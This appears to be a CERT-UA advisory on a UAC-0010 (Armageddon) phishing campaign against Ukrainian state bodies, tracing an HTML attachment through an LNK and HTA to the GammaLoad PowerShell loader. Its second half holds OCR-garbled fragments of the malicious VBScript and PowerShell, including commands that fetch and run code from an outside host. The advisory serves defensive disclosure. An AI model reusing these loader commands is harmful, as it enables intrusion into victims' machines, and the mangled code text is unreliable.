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Cyber attack of UAC-0010 group (Armageddon) on state
organizations of Ukraine (CERT-UA # 4378)

General Information

The government team for responding to computer emergencies in Ukraine CERT-UA revealed the fact of
distribution of e-mails on "Information on war criminals of the Russian Federation" among government
agencies of Ukraine. The e-mail contains the HTML-file "War criminals of the Russian Federation.htm",
the opening of which will lead to the creation of a computer RAR-archive "Viyskovi_zlochinci_RU.rar".
The mentioned archive contains a file-label "War criminals destroying Ukraine (home addresses, photos,
phone numbers, pages on social networks) .Ink", the opening of which will download an HTA-file
containing VBScript-code, which, in its turn to download and run the powershell script "get.php"
(GammaLoad.PS1). The task of the latter is to determine the unique identifier of the computer (based on
the name of the computer

The activity is associated with the activities of the group UAC-0010 (Armageddon).

We draw your attention to the need for additional verification of e-mails with attachments in the form of
HTM-files, because, at present, the level of their detection is low.
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C: \ Users \ Public \ test.vbs

% TMP%

Graphic images

\ <rand digits> .exe
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[<htal>

window.onload = function() {
= docunent . createELe

T Tt ocument crestetextiode "

S appendChild(LinkText);

a.title = "n";

yCsv =
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HTA:APPLICATION icon
<body>

#" WINDOWSTATE="minimize" SHOWINTASKE/

<script language="VBSCript">
reateObject ("Wscript.
reate0bject ("Wscript.
reate0bject ("Wscript.Shell").

Run "cnd_exe /¢ wecript.exe

="text/javascript”>

AR="n0" SYSMENU="no" CAPTION="no" />

2)-Run rond.exe /c echo wscript. Createobiect(® “wsmpt Shell"*).Run “*powershell.exe Senv:Facel
x $ (Ne:

am
“Run "cnd.exe /c setx Facelane ect” net webclient)..Uploadstring(*http://tiloraso. ru/get php s

\serstPuptioutest vost o

(o= BiiCHKOBI-310UMHLI O 3HWLYIOTs YipaiHy (1OMaLH a... [

General| Shortcut | Compatibilty | Security | Details | Previous Versions

e |

<Expression””, 0, True > C:\Users\Public\test.vbs"
.0

Targettype:  Appication

Target loc: System32

url

}

}
else

while($count -le 4){
y{

Up //t
key = (Get-Wmilbject -Query 'select
strmg]svsn = [System.Convert]
$WebClient= New- Ob]ect net.webc
namevalueCln =
$namevalueCln. Add(
$response = $WebClic
string]$myUri
f($myUri.Length -gt 0){
if($myUri.substring(0,4) -eq "http" ){

iloraso.ru/index.php";

oUInt3:

+[string]$(Get-Randk
ent.UploadValues($url,
[System. Text.Encoding] :

/

from win32 logicaldisk where Dev

2($key, 16) ;

bject System. Cotlections. Specialized.NameValueCollection;

on) , Senv: conputernane+' ' +$vsn) ;
$namevalueCln
{UTF8.GetString($response) ;

$respal = $WebClient.DownloadData($myUri);
[byte(]]snew bytes ~ new-object bytel] $respal.Length;
for (si: -t $

respal.count ;

snew bytes [$i] = $respal[$i]

[strlnglspath = $env:TEMP +
Lfile]: erteAuBytes(spath ,
Start-Sleep -s 20

if($path.Length gt 0){[System.Diagnostics.Process]:

{
[byte[]]$new_bytes = new-object
for($i=0; $i -t

$myUri

[System. Text.Encoding] :

start-job {

$sc
$sc.
$sc.
$sc.

}
catch{} Start-Sleep

= New-Object -ComObject MSScriptControl.ScriptControl.l;

Tlmeout 99999
Lan

ipt

-s 300;

$response.count ;

bxor $vsn[$i % $vsn.Length]

+ $(Get-Random)+ ' exc
$new_bytes);

byte[] $response.Lengt

:UTF8.GetString ($new_bytes);

RadCode(sargs[01)} -ArgunentList $myUri -runas32 | wait-job | receive-job;

celID:

:Start([stringl$path); }

$i++) {$new | hytes[S1] $response[$i] -bxor $key[$i % $key.Length]};
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v:SystemDrive'").VolumeSerialNumber;
Start in: %WINDIR%\System32\
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